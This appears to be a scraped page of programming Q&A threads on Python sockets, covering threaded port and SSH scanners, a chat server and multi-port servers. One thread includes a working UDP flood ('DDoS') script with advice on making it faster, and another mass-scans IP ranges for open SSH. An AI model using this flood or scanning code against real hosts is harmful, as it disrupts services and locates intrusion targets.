So I'm trying to make a program that scans the SSH port for IPs in a list. Because the process is painfully long I'm trying to use threading (I can use multiprocessing if it is more suitable for the program) to make everything faster but I'm running in a problem where the program says "Trying IP" (that's what it's meant to say every time it scans an IP) a lot of times without giving a result and then it gives the results (significantly fewer results than IP scans) and having other weird patterns. It should say Trying IP and then the result but it doesn't and even the result is always failing even if it does find IPs with the SSH port open. At some point I was curious if it misses IPs with SSH so I searched for an IP range that should have a lot of them and it only caught 2000 of them even if the guy who posted the class said he got 45000, yeah I know, maybe something happened and an insane amount of people closed SSH but no, I downloaded something called a "scanning archive" made by some Romanian hackers that had a SSH port scanner in it and when I scanned the same IP range I caught 6600.
So can someone help me figure out what is wrong with the code and tell me how to improve it?
import socket
import threading
from queue import Queue
from datetime import datetime
time_start = datetime.now()
SSH_ips = []
def scan(ip_number):
ip_try = ip_list[ip_number]
port = 22
try:
print("Trying IP")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((ip_try,port))
if result == 0:
SSH_ips.append(ip_try)
print("Found %d" % (ip_try))
else:
print("Didn't work")
except:
pass
def gulag():
while True:
worker = q.get()
scan(worker)
q.task_done()
q = Queue()
for x in range(15000):
t = threading.Thread(target=gulag)
t.daemon = True
t.start()
for worker in range(0, 65026):
q.put(worker)
q.join()
time_finish = datetime.now()
time_elapsed = time_finish - time_start
ip_list_lenght = len(SSH_ips)
SSH_ips.sort()
print("Found %s IPs in %s." % (ip_list_lenght, time_elapsed));
print(SSH_ips)
... what is wrong with the code and tell me how to improve it?
try:
print("Trying IP")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
...
except:
pass
Please don't just pass on exception but actually check why it failed. It is likely that you run against the limit of open file descriptors and thus creation of a new socket failed. In this case of course no connection will be attempted to this IP address.
result = sock.connect_ex((ip_try,port))
if result == 0:
SSH_ips.append(ip_try)
print("Found %d" % (ip_try))
else:
print("Didn't work")
Similar here check why exactly connect_ex failed instead of just assuming that it failed because there is no open port on the other end.
Related
I'm running a port scanner on my home network. If I run it against devices on my home network, it only works on other Linux machines (physical machines not VMs). By "works" I mean it finds what few ports are actually open (ssh, mysql, sunrpc, and a couple others).
When scanning Windows and other miscellaneous iot devices it just hangs and never finishes. I can't seem to figure out where it gets stuck.
I think this might be the most relevant part of the code:
for port in range(begin, end):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
status = s.connect_ex((self.target_ip, port))
except Exception:
continue
finally:
s.close()
if status != 0:
continue
try:
service = socket.getservbyport(port)
except Exception:
service = "unknown"
print("SERVICE: %-15s\tPORT: %-8d" % (service, port))
I modified your code so that I could simulate a run on my machine and it seems like it hangs because that very last print statement is not reached. But this is because your continue line within the if status != 0 always comes back as "not 0", at least on my Windows 10 Pro machine.
for port in range(begin, end):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
status = s.connect_ex((self.target_ip, port))
print("DEBUG: ", status) # add this
except Exception as err:
print("Error: ", err) # add this
continue
finally:
s.close()
if status != 0:
print("DEBUG: status was not 0") # add this
# if this line is reached, we start at the top of the loop
# skipping the try except and print below entirely.
continue
try:
service = socket.getservbyport(port)
except Exception:
service = "unknown"
print("SERVICE: %-15s\tPORT: %-8d" % (service, port))
Could you give this a shot and see if will shine some light on what might be wrong or let us know what kind of output you get. I was not able to currently run this on any Linux machine or IoT devices. I assume you are able to read the console output on each of your devices to have determined that it seemed like it was "hanging".
Edit 1: More context for the hanging issue
Let me give you some examples of what happens with this script on my network.
CASE 1: '192.168.1.0'
This address exists, but generally isn't used or assigned to anything. Hangs for about 20 seconds per port for me.
CASE 2: '192.168.1.1'
This is usually the router on the network. Responds immediately. Hangs for about 1 second per port that is scanned.
CASE 3: '192.168.1.3'
This device is in the network range, but no device is actively using it. Hangs for about 20 seconds per port (just like case 1).
So the long "hang" isn't that it is not working. It can basically mean the IP is wrong or there is no device being reached so the timeout limit is being reached for that socket connection attempt instead of raising an exception it just moves on.
Edit 2
Before iterating over a huge range of IP addresses and a wide range of ports per each IP address being tested. Sometimes it can be helpful to test assumptions 1 at a time by defining more control over a few ports and a specific IP address.
This is what I converted your code into to do that. If the conn is not 0 I am just considering that port closed no matter which error code came back for this case. We only care about the ones that respond with 0 because that indicates the operation succeeded.
import socket
# Lets test just a few custom ports.
ports = [21, 22, 80, 8080]
# And test a specific IP address to test, 1 at a time.
ip = '192.168.1.1' # change this if needed
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
for port in ports:
# loop through our small custom port range.
try:
conn = sock.connect_ex((ip, port))
if conn == 0:
print("Port [{}] open.".format(port))
else:
print("Port [{}] closed.".format(port))
except Exception as err:
print(err)
continue
try:
service = socket.getservbyport(port)
except Exception:
service = "unknown"
print("SERVICE: %-15s\tPORT: %-8d" % (service, port))
sock.close()
I am trying to create a port scanner in Python. I got the scanner going but it takes forty five minutes to print results. I started to institute threading however I can't figure out how to put different ranges into the script. I started to go to creating a global variable and try to pass that along in each thread. Unfortunately it's not working correctly and I am getting an invalid syntax error. Below is the code.
import socket
import os
import sys
from threading import Thread
server = raw_input("Please enter a server name ")
def portConnect():
global num
try:
serv_ip = socket.gethostbyname(server) # connects to server through try
print "Please wait, scanning remote host", serv_ip
for port in range(num):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect_ex((serv_ip, port))
if connect == 0:
print "Port {}: Open".format(port)
sock.close()
except socket.gaierror:
print """
I can't find that server, idiot! Try again
"""
sys.exit()
for i in range(1):
t = Thread(target=portConnect,(num=100))
t.start()
What am I doing wrong?
Thread expects args= as tuple and it sends it as arguments to function
This way you send 100 as first argument (num) to portConnect()
def portConnect(num):
print(num)
# code
t = Thread(target=portConnect, args=(100,) )
To send range you need two arguments
def portConnect(from_, to_):
print(from_, to_)
for port in range(from_, to_):
# ...
size = 20
for i in range(1, 100, size):
t = Thread(target=portConnect, args=(i, i+size))
t.start()
BTW: module scapy lets you send single packet so it is used for portscanning, sniffing, etc.
You can do more with special tools like nmap (GUI wrapper: Zenmap) or Kali Linux
You may try to use nmap in Python: python-nmap : nmap from python
you can solve this really easily using nmap.
nmap -p- <some_host>
I am trying to create a DDos Script (for educational use), however currently its too slow and is only using about 0.8Mb of my upload speed (out of about 20Mb).
UPDATE 3
I have removed the server connection code to try get this running fast enough and its finally fast enough to max out my upload speed (about 20Mbit/s). Now im just looking for a way to run the connection code on the side every 300ish times the main code is running.
import time, socket, os, sys, string, urllib2, threading
print_lock = threading.Lock()
def attack():
port = 80
host = 'target ip address'
message="#I am the bestest in the world. "
ip = socket.gethostbyname( host )
ddos = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ddos.connect((host, port))
for i in xrange(10000000):
try:
ddos.sendto( message, (ip, port))
except socket.error, msg:
print("|[Connection Failed] |")
ddos.close()
def main():
print "DOS app started"
for i in range(10000000):
t = threading.Thread(target=attack)
t.daemon = True
t.start()
t.join()
if __name__ == "__main__":
main()
P.S: I'm looking into Cython however not sure of its functions yet.
Use threading because you can create much more throughput. Also, you're checking to see if the host is up really frequently. Instead, you could consider checking if the host is up every x attempts you try to access it.
I am pretty new at this.I am trying to build a server(chat server)
Sorry for presenting such a messing code.
There are alot of things that i am going to change about this code.
but as of now i just need help with one thing:
when i start let say more then one cleints on this ...and then just close the client i get this message:
Unhandled exception in thread started by
i have tryed to kill the thread as you can see in many places in this code. but i don't know what i am doing wrong ..
i am new at this.
any syggestions on what i should do ?
#encoding: utf-8
import socket, random, time, thread, errno, traceback
print socket.gethostname()
print "current machines IP address: "+socket.gethostbyname(socket.gethostname())
host ="10.0.0.1"# raw_input("IP: ")
# = socket.gethostbyname(socket.gethostname())
port = 12345
print host
conn_list =[None]*10
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((host, port))
sock.listen(10)
print "connected..\n\n\n\n"
def recv(conn):
while True:
try:
message = conn.recv(1024)
if "MESG" == message[1:5]:
message = message[6:].split(':')
name = str(conn)
conn_number = conn_list.index(conn)
conn_name = str(conn_number)
message = message[2]
reciever = message[0:1]
reciever = int(reciever)
for conn in conn_list:
if reciever == conn_list.index(conn):
conn.send(message)
print "Connection "+conn_name+" -----> "+str(reciever)+" :"+message+"\n"
#conn = findTheRightConnection(conn_list, conn_number)
break
else:
pass
except ValueError:
print "ValueError by %s" % (str(conn))
print conn.send("\nOpps you are not typing the correct connection number infront your message!")
except IOError:
bye(conn,conn_list)
print"Going to try to kill the thread here "
thread.quit()
thread.isAlive()
print "Still alive..."
except socket.error, v:
errorcode=v[0]
bye(conn,conn_list)
print"Going to try to kill the thread or here"
thread.quit()
thread.isAlive()
print "Still alive..."
except Exception, e:
traceback.print_exc()
finally:
thread.isAlive()
print"\nChanging the conn back to what it was... "
conn = findTheRightConnection(conn_list, conn_number)
def handle_connection(conn):
try:
recv(conn)
except socket.error, v:
errorcode=v[104]
bye(conn)
def bye(conn,conn_list):
i= 0
print "bye"
connectionName = str(conn_list.index(conn))
conn.close
conn_list = conn_list
print conn_list
for element in conn_list:
if element == conn:
conn_list[i] = None
break
i += i
print "Connection number "+connectionName+" is terminated"
print conn_list
return "Connection Terminated"
def welcome(conn,conn_list):
i = 0
for element in conn_list:
if element == None:
conn_list[i] = conn
print "Connection added in the conn_list on the slot %d" % (i)
print conn_list
return conn_list
else:
i = i+1
pass
print "The server if full! No more space left"
return conn_list
def findTheRightConnection(conn_list, number):
for conn in conn_list:
if number == conn_list.index(conn):
return conn
else:
pass
print "\nSomthing went wrong while trying to find the right connection in the method findTheRightConnection()"
return
while True:
conn, addr = sock.accept()
conn_list = welcome(conn,conn_list)
print "Got connection from : "+str(addr[0])+" by connection number: "+str(conn_list.index(conn))+"\n\n\n\n"
msg = "Welcome to the server!"
conn.send(":INFO:"+str(int(time.time()))+":"+str(len(msg))+":"+msg)
thread.start_new_thread(handle_connection, (conn,))
If you are still having trouble creating a instant messaging program in Python, you might be interested in this answer to another question.
Simple_Server.py is a minimal server implementation. A far more complex server with a variety of features can be provided on request. The complex server supports authentication, friends, private messaging, channels, filters, math evaluation, and admin controls.
MultichatClient.py is a port of a Java program written by a teacher from a networking class. The program must be run from the command line, and it must be given the server as an argument. You can use either the server's name on the network or its IP address.
Simple_Client.pyw is a more complicated client that does not require being started from the command line. When it starts, it will ask for server's name and try connecting to it while showing a progress dialog. The program will automatically try logging any errors to a file.
affinity.py is required for threadbox.py to run. (runs code on a specific thread regardless of origin)
threadbox.py is required for safetkinter.py to run. (metaclass clones classes to run using affinity)
safetkinter.py is required for Simple_Client.pyw to run. (makes tkinter safe to use with threads)
How can I make a simple server(simple as in accepting a connection and print to terminal whatever is received) accept connection from multiple ports or a port range?
Do I have to use multiple threads, one for each bind call. Or is there another solution?
The simple server can look something like this.
def server():
import sys, os, socket
port = 11116
host = ''
backlog = 5 # Number of clients on wait.
buf_size = 1024
try:
listening_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listening_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listening_socket.bind((host, port))
listening_socket.listen(backlog)
except socket.error, (value, message):
if listening_socket:
listening_socket.close()
print 'Could not open socket: ' + message
sys.exit(1)
while True:
accepted_socket, adress = listening_socket.accept()
data = accepted_socket.recv(buf_size)
if data:
accepted_socket.send('Hello, and goodbye.')
accepted_socket.close()
server()
EDIT:
This is an example of how it can be done. Thanks everyone.
import socket, select
def server():
import sys, os, socket
port_wan = 11111
port_mob = 11112
port_sat = 11113
sock_lst = []
host = ''
backlog = 5 # Number of clients on wait.
buf_size = 1024
try:
for item in port_wan, port_mob, port_sat:
sock_lst.append(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
sock_lst[-1].setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock_lst[-1].bind((host, item))
sock_lst[-1].listen(backlog)
except socket.error, (value, message):
if sock_lst[-1]:
sock_lst[-1].close()
sock_lst = sock_lst[:-1]
print 'Could not open socket: ' + message
sys.exit(1)
while True:
read, write, error = select.select(sock_lst,[],[])
for r in read:
for item in sock_lst:
if r == item:
accepted_socket, adress = item.accept()
print 'We have a connection with ', adress
data = accepted_socket.recv(buf_size)
if data:
print data
accepted_socket.send('Hello, and goodbye.')
accepted_socket.close()
server()
I'm not a python guy, but the function you are interested in is "select". This will allow you to watch multiple sockets and breaks out when activity occurs on any one of them.
Here's a python example that uses select.
Since Python's got so much overhead, multithreaded apps are a big point of debate. Then there's the whole blocking-operation-GIL issue too. Luckily, the Python motto of "If it seems like a big issue, someone's probably already come up with a solution (or several!)" holds true here. My favorite solution tends to be the microthread model, specifically gevent.
Gevent is an event-driven single-thread concurrency library that handles most issues for you out of the box via monkey-patching. gevent.monkey.patch_socket() is a function that replaces the normal socket calls with non-blocking variants, polling and sleeping to allow the switch to other greenlets as need be. If you want more control, or it's not cutting it for you, you can easily manage the switching with select and gevent's cooperative yield.
Here's a simple example.
import gevent
import socket
import gevent.monkey; gevent.monkey.patch_socket()
ALL_PORTS=[i for i in xrange(1024, 2048)]
MY_ADDRESS = "127.0.0.1"
def init_server_sock(port):
try:
s=socket.socket()
s.setblocking(0)
s.bind((MY_ADDRESS, port))
s.listen(5)
return s
except Exception, e:
print "Exception creating socket at port %i: %s" % (port, str(e))
return False
def interact(port, sock):
while 1:
try:
csock, addr = sock.accept()
except:
continue
data = ""
while not data:
try:
data=csock.recv(1024)
print data
except:
gevent.sleep(0) #this is the cooperative yield
csock.send("Port %i got your message!" % port)
csock.close()
gevent.sleep(0)
def main():
socks = {p:init_server_sock(p) for p in ALL_PORTS}
greenlets = []
for k,v in socks.items():
if not v:
socks.pop(k)
else:
greenlets.append(gevent.spawn(interact, k, v))
#now we've got our sockets, let's start accepting
gevent.joinall(greenlets)
That would be a super-simple, completely untested server serving plain text We got your message! on ports 1024-2048. Involving select is a little harder; you'd have to have a manager greenlet which calls select and then starts up the active ones; but that's not massively hard to implement.
Hope this helps! The nice part of the greenlet-based philosophy is that the select call is actually part of their hub module, as I recall, which will allow you to create a much more scalable and complex server more easily. It's pretty efficient too; there are a couple benchmarks floating around.
If you really wanted to be lazy (from a programmer standpoint, not an evaluation standpoint), you could set a timeout on your blocking read and just loop through all your sockets; if a timeout occurs, there wasn't any data available. Functionally, this is similar to what the select is doing, but it is taking that control away from the OS and putting it in your application.
Of course, this implies that as your sleep time gets smaller, your program will approach 100% CPU usage, so you wouldn't use it on a production app. It's fine for a toy though.
It would go something like this: (not tested)
def server():
import sys, os, socket
port = 11116
host = ''
backlog = 5 # Number of clients on wait.
buf_size = 1024
NUM_SOCKETS = 10
START_PORT = 2000
try:
socket.setdefaulttimeout(0.5) # raise a socket.timeout error after a half second
listening_sockets = []
for i in range(NUM_SOCKETS):
listening_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listening_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listening_socket.bind((host, START_PORT + i))
listening_socket.listen(backlog)
listening_sockets.append(listening_socket)
except socket.error, (value, message):
if listening_socket:
listening_socket.close()
print 'Could not open socket: ' + message
sys.exit(1)
while True:
for sock in listening_sockets:
try:
accepted_socket, adress = sock_socket.accept()
data = sock.recv(buf_size)
if data:
sock_socket.send('Hello, and goodbye.')
sock.close()
except socket.timeout:
pass
server()